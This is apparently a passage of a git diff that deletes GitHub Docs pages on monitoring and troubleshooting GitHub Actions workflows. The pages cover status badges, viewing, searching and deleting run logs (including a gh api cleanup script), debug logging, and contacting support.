-intro: 'You can view the status and results of each step in your workflow, debug a failed workflow, and search and download logs.'
-redirect_from:
- - /articles/viewing-your-repository-s-workflows
- - /articles/viewing-your-repositorys-workflows
- - /actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /monitoring-workflows
- - /troubleshooting-workflows
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/about-monitoring-workflows.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/about-monitoring-workflows.md
deleted file mode 100644
index 7721e2e01f82..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/about-monitoring-workflows.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: About monitoring workflows
-intro: 'You can use the tools in {% data variables.product.prodname_actions %} to monitor your workflows, metrics, and self-hosted runners.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: About monitoring
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Monitoring your workflows
-
-{% ifversion github-runner-dashboard %}
-
-### Monitoring your current jobs in your organization or enterprise
-
-{% data reusables.actions.github-hosted-runners-check-concurrency %}
-
-{% endif %}
-
-### Using the visualization graph
-
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. For example:
-
- 
-
-For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph).
-
-### Adding a workflow status badge
-
-{% data reusables.repositories.actions-workflow-status-badge-intro %}
-
-For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge).
-
-{% ifversion fpt or ghec %}
-
-### Viewing job execution time
-
-To identify how long a job took to run, you can view its execution time. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time).
-{% endif %}
-
-### Viewing workflow run history
-
-You can view the status of each job and step in a workflow. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history).
-
-{% ifversion actions-metrics %}
-
-## Monitoring {% data variables.product.prodname_actions %} metrics
-
-To analyze the efficiency and reliability of your workflows using metrics, see [AUTOTITLE](/actions/administering-github-actions/viewing-github-actions-metrics).
-{% endif %}
-
-## Monitoring self-hosted runners
-
-If you use self-hosted runners, you can view their activity and diagnose common issues.
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners).
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge.md
deleted file mode 100644
index e874d93c8d6a..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Adding a workflow status badge
-shortTitle: Add a status badge
-intro: You can display a status badge in your repository to indicate the status of your workflows.
-redirect_from:
- - /actions/managing-workflow-runs/adding-a-workflow-status-badge
- - /actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-> [!NOTE]
-> Workflow badges in a private repository are not accessible externally, so you won't be able to embed them or link to them from an external site.
-
-{% data reusables.repositories.actions-workflow-status-badge-intro %}
-
-To add a workflow status badge to your `README.md` file, first find the URL for the status badge you would like to display. Then you can use Markdown to display the badge as an image in your `README.md` file. For more information about image markup in Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images).
-
-## Using the workflow file name
-
-You can build the URL for a workflow status badge using the name of the workflow file:
-
-```text
-{% ifversion fpt or ghec %}https://github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY/actions/workflows/WORKFLOW-FILE/badge.svg
-```
-
-To display the workflow status badge in your `README.md` file, use the Markdown markup for embedding images. For more information about image markup in Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images).
-
-For example, add the following Markdown to your `README.md` file to add a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`.
-
-```markdown
-
-```
-
-## Using the `branch` parameter
-
-To display the status of a workflow run for a specific branch, add `?branch=BRANCH-NAME` to the end of the status badge URL.
-
-For example, add the following Markdown to your `README.md` file to display a status badge for a branch with the name `feature-1`.
-
-```markdown
-
-```
-
-## Using the `event` parameter
-
-To display the status of workflow runs triggered by the `push` event, add `?event=push` to the end of the status badge URL.
-
-For example, add the following Markdown to your `README.md` file to display a badge with the status of workflow runs triggered by the `push` event, which will show the status of the build for the current state of that branch.
-
-```markdown
-
-```
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/index.md
deleted file mode 100644
index 15e9f846d035..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/index.md
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: Monitoring workflows
-shortTitle: Monitor
-intro: 'You can monitor {% data variables.product.prodname_actions %} workflows by using tools like the visualization graph and run logs.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /about-monitoring-workflows
- - /notifications-for-workflow-runs
- - /using-the-visualization-graph
- - /viewing-workflow-run-history
- - /viewing-job-execution-time
- - /adding-a-workflow-status-badge
- - /using-workflow-run-logs
----
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/notifications-for-workflow-runs.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/notifications-for-workflow-runs.md
deleted file mode 100644
index 3c09d2db10e1..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/notifications-for-workflow-runs.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Notifications for workflow runs
-shortTitle: Notifications for workflow runs
-intro: You can subscribe to notifications about workflow runs that you trigger.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-redirect_from:
- - /actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% data reusables.repositories.workflow-notifications %}
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-the-visualization-graph.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-the-visualization-graph.md
deleted file mode 100644
index c4bc5f5486bd..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-the-visualization-graph.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Using the visualization graph
-shortTitle: Visualization graph
-intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows.
-redirect_from:
- - /actions/managing-workflow-runs/using-the-visualization-graph
- - /actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-
-1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.
-
- 
-1. To view a job's log, click the job.
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-workflow-run-logs.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-workflow-run-logs.md
deleted file mode 100644
index dc9a20b25edc..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-workflow-run-logs.md
+++ /dev/null
@@ -1,179 +0,0 @@
----
-title: Using workflow run logs
-shortTitle: Workflow run logs
-intro: 'You can view, search, and download the logs for each job in a workflow run.'
-redirect_from:
- - /actions/managing-workflow-runs/using-workflow-run-logs
- - /actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github).
-
-If the run is complete, you can see whether the result was a success, failure, canceled, or neutral. If the run failed, you can view and search the build logs to diagnose the failure and re-run the workflow. You can also view billable job execution minutes, or download logs and build artifacts.
-
-{% data variables.product.prodname_actions %} use the Checks API to output statuses, results, and logs for a workflow. {% data variables.product.prodname_dotcom %} creates a new check suite for each workflow run. The check suite contains a check run for each job in the workflow, and each job includes steps. {% data variables.product.prodname_actions %} are run as a step in a workflow. For more information about the Checks API, see [AUTOTITLE](/rest/checks).
-
-{% data reusables.actions.invalid-workflow-files %}
-
-## Viewing logs to diagnose failures
-
-If your workflow run fails, you can see which step caused the failure and review the failed step's build logs to troubleshoot. You can see the time it took for each step to run. You can also copy a permalink to a specific line in the log file to share with your team. {% data reusables.repositories.permissions-statement-read %}
-
-In addition to the steps configured in the workflow file, {% data variables.product.prodname_dotcom %} adds two additional steps to each job to set up and complete the job's execution. These steps are logged in the workflow run with the names "Set up job" and "Complete job".
-
-For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Set up job" records details of the runner image, and includes a link to the list of preinstalled tools that were present on the runner machine.
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-{% data reusables.repositories.navigate-to-job %}
-{% data reusables.repositories.view-failed-job-results %}
-{% data reusables.repositories.view-specific-line %}
-
-## Searching logs
-
-You can search the build logs for a particular step. When you search logs, only expanded steps are included in the results. {% data reusables.repositories.permissions-statement-read %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-{% data reusables.repositories.navigate-to-job %}
-1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query.
-
-## Downloading logs
-
-You can download the log files from your workflow run. You can also download a workflow's artifacts. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). {% data reusables.repositories.permissions-statement-read %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-{% data reusables.repositories.navigate-to-job %}
-1. In the upper right corner of the log, select the {% octicon "gear" aria-label="Show options" %} dropdown menu, then click **Download log archive**.
-
- 
-
- > [!NOTE]
- > When you download the log archive for a workflow that was partially re-run, the archive only includes the jobs that were re-run. To get a complete set of logs for jobs that were run from a workflow, you must download the log archives for the previous run attempts that ran the other jobs.
-
-## Deleting logs
-
-You can delete the log files from your workflow runs through the {% data variables.product.prodname_dotcom %} web interface or programmatically. {% data reusables.repositories.permissions-statement-write %}
-
-### Deleting logs via the {% data variables.product.prodname_dotcom %} web interface
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. In the upper-right corner, select the {% octicon "kebab-horizontal" aria-label="Show workflow options" %} dropdown menu, then click **Delete all logs**.
-
- 
-
-1. Review the confirmation prompt.
-
-After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run.
-
-### Deleting logs programmatically
-
-You can use the following script to automatically delete all logs for a workflow. This can be a useful way to clean up logs for multiple workflow runs.
-
-To run the example script below:
-
-1. Copy the code example and save it to a file called `delete-logs.sh`.
-1. Grant it the execute permission with `chmod +x delete-logs.sh`.
-1. Run the following command, where `REPOSITORY_NAME` is the name of your repository and `WORKFLOW_NAME` is the file name of your workflow.
-
- ```shell copy
- ./delete-logs.sh REPOSITORY_NAME WORKFLOW_NAME
- ```
-
- For example, to delete all of the logs in the `monalisa/octocat` repository for the `.github/workflows/ci.yaml` workflow, you would run `./delete-logs.sh monalisa/octocat ci.yaml`.
-
-#### Example script
-
-```bash copy
-#!/usr/bin/env bash
-
-# Delete all logs for a given workflow
-# Usage: delete-logs.sh
-
-set -oe pipefail
-
-REPOSITORY=$1
-WORKFLOW_NAME=$2
-
-# Validate arguments
-if [[ -z "$REPOSITORY" ]]; then
- echo "Repository is required"
- exit 1
-fi
-
-if [[ -z "$WORKFLOW_NAME" ]]; then
- echo "Workflow name is required"
- exit 1
-fi
-
-echo "Getting all completed runs for workflow $WORKFLOW_NAME in $REPOSITORY"
-
-RUNS=$(
- gh api \
- -H "Accept: application/vnd.github+json" \
- -H "X-GitHub-Api-Version: 2022-11-28" \
- "/repos/$REPOSITORY/actions/workflows/$WORKFLOW_NAME/runs" \
- --paginate \
- --jq '.workflow_runs[] | select(.conclusion != "") | .id'
-)
-
-echo "Found $(echo "$RUNS" | wc -l) completed runs for workflow $WORKFLOW_NAME"
-
-# Delete logs for each run
-for RUN in $RUNS; do
- echo "Deleting logs for run $RUN"
- gh api \
- --silent \
- --method DELETE \
- -H "Accept: application/vnd.github+json" \
- -H "X-GitHub-Api-Version: 2022-11-28" \
- "/repos/$REPOSITORY/actions/runs/$RUN/logs" || echo "Failed to delete logs for run $RUN"
-
- # Sleep for 100ms to avoid rate limiting
- sleep 0.1
-done
-```
-
-## Viewing logs with {% data variables.product.prodname_cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-To view the log for a specific job, use the `run view` subcommand. Replace `run-id` with the ID of run that you want to view logs for. {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a job from the run. If you don't specify `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run, and then returns another interactive menu for you to choose a job from the run.
-
-```shell
-gh run view RUN_ID --log
-```
-
-You can also use the `--job` flag to specify a job ID. Replace `job-id` with the ID of the job that you want to view logs for.
-
-```shell
-gh run view --job JOB_ID --log
-```
-
-You can use `grep` to search the log. For example, this command will return all log entries that contain the word `error`.
-
-```shell
-gh run view --job JOB_ID --log | grep error
-```
-
-To filter the logs for any failed steps, use `--log-failed` instead of `--log`.
-
-```shell
-gh run view --job JOB_ID --log-failed
-```
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-job-execution-time.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-job-execution-time.md
deleted file mode 100644
index 5a014f1ce99c..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-job-execution-time.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Viewing job execution time
-shortTitle: View job execution time
-intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.'
-redirect_from:
- - /actions/managing-workflow-runs/viewing-job-execution-time
- - /actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time
-versions:
- fpt: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners.
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. Under the job summary, you can view the job's execution time.
-1. To view details about the billable job execution time, in the left sidebar under "Run details", click **{% octicon "stopwatch" aria-hidden="true" %} Usage**.
-
- > [!NOTE]
- > The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see [AUTOTITLE](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage).
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history.md
deleted file mode 100644
index cd0816eeb429..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history.md
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Viewing workflow run history
-shortTitle: Workflow run history
-intro: You can view logs for each run of a workflow. Logs include the status for each job and step in a workflow.
-redirect_from:
- - /actions/managing-workflow-runs/viewing-workflow-run-history
- - /actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% data reusables.repositories.permissions-statement-read %}
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-
-{% endwebui %}
-
-{% cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-## Viewing recent workflow runs
-
-To list the recent workflow runs, use the `run list` subcommand.
-
-```shell
-gh run list
-```
-
-To specify the maximum number of runs to return, you can use the `-L` or `--limit` flag . The default is `10`.
-
-```shell
-gh run list --limit 5
-```
-
-To only return runs for the specified workflow, you can use the `-w` or `--workflow` flag. Replace `workflow` with either the workflow name, workflow ID, or workflow file name. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`.
-
-```shell
-gh run list --workflow WORKFLOW
-```
-
-## Viewing details for a specific workflow run
-
-To display details for a specific workflow run, use the `run view` subcommand. Replace `run-id` with the ID of the run that you want to view. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
-
-```shell
-gh run view RUN_ID
-```
-
-To include job steps in the output, use the `-v` or `--verbose` flag.
-
-```shell
-gh run view RUN_ID --verbose
-```
-
-To view details for a specific job in the run, use the `-j` or `--job` flag. Replace `job-id` with the ID of the job that you want to view.
-
-```shell
-gh run view --job JOB_ID
-```
-
-To view the full log for a job, use the `--log` flag.
-
-```shell
-gh run view --job JOB_ID --log
-```
-
-Use the `--exit-status` flag to exit with a non-zero status if the run failed. For example:
-
-```shell
-gh run view 0451 --exit-status && echo "run pending or passed"
-```
-
-{% endcli %}
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/about-troubleshooting-workflows.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/about-troubleshooting-workflows.md
deleted file mode 100644
index 0d62a9171d20..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/about-troubleshooting-workflows.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: About troubleshooting workflows
-intro: 'You can use the tools in {% data variables.product.prodname_actions %} to debug your workflows.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: About troubleshooting
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Troubleshooting your workflows
-
-There are several ways you can troubleshoot failed workflow runs.
-
-{% ifversion copilot %}
-
-### Using {% data variables.product.prodname_copilot %}
-
-If a workflow run fails, you can open a chat with {% data variables.product.prodname_copilot %} for assistance resolving the error. See [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows).
-
-{% endif %}
-
-### Using workflow run logs
-
-Each workflow run generates activity logs that you can view, search, and download. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs).
-
-### Enabling debug logging
-
-If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging).
-
-### Canceling a workflow
-
-If you attempt to cancel a workflow and the cancellation doesn't succeed, make sure you aren't using the `always` expression. The `always` expression causes a workflow step to run even when the workflow is canceled, which results in a hanging cancellation. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions#always).
-
-{% ifversion actions-metrics %}
-
-## Troubleshooting {% data variables.product.prodname_actions %} inefficiencies
-
-To analyze the inefficiencies and reliability of your workflows using metrics, see [AUTOTITLE](/actions/administering-github-actions/viewing-github-actions-metrics).
-{% endif %}
-
-## Troubleshooting self-hosted runners
-
-If you use self-hosted runners, you can view their activity and diagnose common issues.
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners).
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/enabling-debug-logging.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/enabling-debug-logging.md
deleted file mode 100644
index 955a4ade7ed9..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/enabling-debug-logging.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: Enabling debug logging
-shortTitle: Enable debug logging
-intro: 'If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging.'
-redirect_from:
- - /actions/managing-workflow-runs/enabling-debug-logging
- - /actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-These extra logs are enabled by setting secrets or variables in the repository containing the workflow, so the same permissions requirements will apply:
-
-* {% data reusables.actions.permissions-statement-secrets-variables-repository %}
-* {% data reusables.actions.permissions-statement-secrets-environment %}
-* {% data reusables.actions.permissions-statement-secrets-and-variables-organization %}
-
-For more information on setting secrets and variables, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/learn-github-actions/variables).
-
-Additionally, anyone who has access to run a workflow can enable runner diagnostic logging and step debug logging for a workflow re-run. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs).
-
-## Enabling runner diagnostic logging
-
-Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. Two extra log files are added to the log archive:
-
-* The runner process log, which includes information about coordinating and setting up runners to execute jobs.
-* The worker process log, which logs the execution of a job.
-
-1. To enable runner diagnostic logging, set the following secret or variable in the repository that contains the workflow: `ACTIONS_RUNNER_DEBUG` to `true`. If both the secret and variable are set, the value of the secret takes precedence over the variable.
-1. To download runner diagnostic logs, download the log archive of the workflow run. The runner diagnostic logs are contained in the `runner-diagnostic-logs` folder. For more information on downloading logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#downloading-logs).
-
-## Enabling step debug logging
-
-Step debug logging increases the verbosity of a job's logs during and after a job's execution.
-
-1. To enable step debug logging, set the following secret or variable in the repository that contains the workflow: `ACTIONS_STEP_DEBUG` to `true`. If both the secret and variable are set, the value of the secret takes precedence over the variable.
-1. After setting the secret or variable, more debug events are shown in the step logs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures).
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/index.md
deleted file mode 100644
index c23957ba278d..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/index.md
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Troubleshooting workflows
-shortTitle: Troubleshoot
-intro: 'You can troubleshoot {% data variables.product.prodname_actions %} workflows by using tools like debug logging.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /about-troubleshooting-workflows
- - /using-copilot-to-troubleshoot-workflows
- - /enabling-debug-logging
- - /working-with-support-for-github-actions
----
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows.md
deleted file mode 100644
index 09b606cea244..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Using Copilot to troubleshoot workflows
-intro: 'You can use {% data variables.product.prodname_copilot %} to help resolve failed workflow runs.'
-versions:
- feature: copilot
-shortTitle: Use Copilot
-permissions: This feature is available for users on all {% data variables.product.prodname_copilot %} subscription tiers.
----
-
-If a workflow run fails, you can open a chat with {% data variables.product.prodname_copilot %} for assistance resolving the error.
-
-To open a chat about a failed workflow run, you can either:
-
-* Next to the failed check in the merge box, click **{% octicon "kebab-horizontal" aria-hidden="true" %}**, then click **{% octicon "copilot" aria-hidden="true" %} Explain error**.
-* In the merge box, click on the failed check. At the top of the workflow run summary page, click **{% octicon "copilot" aria-hidden="true" %} Explain error**.
-
-This opens a chat window with {% data variables.product.prodname_copilot %}, where it will provide instructions to resolve the issue.
-
->[!NOTE] If you are on a {% data variables.product.prodname_copilot_free %} subscription, this will count towards your monthly chat message limit.
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/working-with-support-for-github-actions.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/working-with-support-for-github-actions.md
deleted file mode 100644
index 57abb05f68b9..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/working-with-support-for-github-actions.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: Working with Support for GitHub Actions
-intro: 'Learn how {% data variables.contact.github_support %} can assist with {% data variables.product.prodname_actions %}'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: reference
-topics:
- - Actions
- - Support
-shortTitle: 'Working with {% data variables.contact.github_support %}'
-redirect_from:
- - /actions/monitoring-and-troubleshooting-workflows/working-with-support-for-github-actions
----
-
-You can [contact {% data variables.contact.github_support %}](/support/contacting-github-support) for assistance with {% data variables.product.prodname_actions %}.
-
-## Providing diagnostic and troubleshooting information
-
-The contents of private and internal repositories are not visible to {% data variables.contact.github_support %}, so {% data variables.contact.github_support %} may request additional information to understand the complete context of your inquiry and reproduce any unexpected behavior. You can accelerate the resolution of your inquiry by providing this information when you initially raise a ticket with {% data variables.contact.github_support %}.
-
-Some information that {% data variables.contact.github_support %} will request can include, but is not limited to, the following:
-
-* The URL of the workflow run.
-
- {% ifversion ghes %}
- For example: `https://DOMAIN/ORG/REPO/actions/runs/0123456789`
- {% else %}
- For example: `https://github.com/ORG/REPO/actions/runs/0123456789`
- {% endif %}
-
-* The workflow `.yml` file(s) attached to the ticket as `.txt` files. For more information about workflows, see [AUTOTITLE](/actions/using-workflows/about-workflows#about-workflows).
-* A copy of your workflow run logs for an example workflow run failure. For more information about workflow run logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#downloading-logs).
-* {% ifversion ghes %}A copy of your runner logs, {% else %}If you are running this workflow on a self-hosted runner, self-hosted runner logs{% endif %} which can be found under the `_diag` folder within the runner. For more information about self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#reviewing-the-self-hosted-runner-application-log-files).
-
- Self-hosted runner log file names are be formatted: `Runner_YYYY####-xxxxxx-utc.log` and `Worker_YYYY####-xxxxxx-utc.log`.
-
-> [!NOTE]
-> Attach files to your support ticket by changing the file's extension to `.txt` or `.zip`. If you include textual data such as log or workflow file snippets inline in your ticket, ensure they are formatted correctly as Markdown code blocks. For more information about proper Markdown formatting, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code).
->
-> If the information you provide is unreadable due to the loss of formatting by improper Markdown syntax, {% data variables.contact.github_support %} may request that resubmit the information either as an attachment or with the correct Markdown formatting.
-
-> [!WARNING]
-> Ensure all files and text provided to {% data variables.contact.github_support %} have been properly redacted to remove sensitive information such as tokens and other secrets.
-
-{% ifversion ghes %}
-Depending on the nature of your inquiry, {% data variables.contact.github_support %} may also request that you generate and upload a support bundle for further review and analysis. For more information about providing data to {% data variables.contact.github_support %} and support bundles, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support).
-{% endif %}
-
-### Ephemeral Runner Application Log Files
-
-{% data variables.contact.github_support %} may request the runner application log files from ephemeral runners. {% data variables.product.prodname_dotcom %} expects and recommends that you have implemented a mechanism to forward and preserve the runner application log files from self-hosted ephemeral runners. For more information about runner application log files and troubleshooting self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#reviewing-the-self-hosted-runner-application-log-files).
-
-### {% data variables.product.prodname_actions_runner_controller %}
-
-If you are using {% data variables.product.prodname_actions_runner_controller %} (ARC), {% data variables.contact.github_support %} may ask you to submit the complete logs for the controller, listeners, and runner pods. For more information about collecting {% data variables.product.prodname_actions_runner_controller %}'s logs, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors#checking-the-logs-of-the-controller-and-runner-set-listener).
-
-For more information about the scope of support for {% data variables.product.prodname_actions_runner_controller %}, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller).
-
-### {% data variables.product.prodname_codeql %} and {% data variables.product.prodname_actions %}
-
